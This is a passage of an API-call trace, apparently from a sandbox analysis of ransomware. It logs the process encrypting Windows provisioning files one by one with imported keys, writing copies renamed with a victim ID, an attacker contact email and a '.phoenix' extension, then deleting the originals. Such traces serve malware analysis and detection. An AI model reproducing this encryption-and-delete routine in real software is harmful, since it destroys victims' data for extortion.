	[0246.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.607] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0246.607] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.607] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0246.640] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0246.640] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0246.641] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.641] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0246.641] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.641] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0246.641] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0246.641] CloseHandle (hObject=0x2e8) returned 1
	[0246.641] CloseHandle (hObject=0x2d8) returned 1
	[0246.641] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml")) returned 1
	[0246.642] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0246.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.643] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=732) returned 1
	[0246.643] CloseHandle (hObject=0x2d8) returned 1
	[0246.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml")) returned 0x20
	[0246.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.643] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.643] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.644] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0246.644] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.644] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dc, lpOverlapped=0x0) returned 1
	[0246.695] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0246.695] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.696] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0246.696] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.696] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0246.696] CryptDestroyKey (hKey=0x151180) returned 1
	[0246.696] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0246.696] CryptDestroyKey (hKey=0x151100) returned 1
	[0246.696] CloseHandle (hObject=0x2d8) returned 1
	[0246.696] CloseHandle (hObject=0x2e8) returned 1
	[0246.696] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml")) returned 1
	[0246.697] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0246.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.697] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=729) returned 1
	[0246.698] CloseHandle (hObject=0x2e8) returned 1
	[0246.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0246.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.698] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.698] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.698] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.698] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.698] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0246.698] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.698] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d9, lpOverlapped=0x0) returned 1
	[0246.822] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0246.822] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.823] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0246.823] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.823] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0246.823] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0246.823] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0246.823] CryptDestroyKey (hKey=0x151640) returned 1
	[0246.823] CloseHandle (hObject=0x2e8) returned 1
	[0246.823] CloseHandle (hObject=0x2d8) returned 1
	[0246.823] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml")) returned 1
	[0246.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0246.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.825] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=733) returned 1
	[0246.825] CloseHandle (hObject=0x2d8) returned 1
	[0246.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0246.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.825] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.825] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0246.829] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.829] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dd, lpOverlapped=0x0) returned 1
	[0247.060] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.060] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.062] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0247.062] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.062] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.062] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.062] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.062] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.062] CloseHandle (hObject=0x2d8) returned 1
	[0247.062] CloseHandle (hObject=0x2e8) returned 1
	[0247.062] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml")) returned 1
	[0247.063] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.068] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=648) returned 1
	[0247.068] CloseHandle (hObject=0x2e8) returned 1
	[0247.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.069] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.069] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.070] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0247.070] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.070] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x288, lpOverlapped=0x0) returned 1
	[0247.111] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0247.111] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0247.112] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
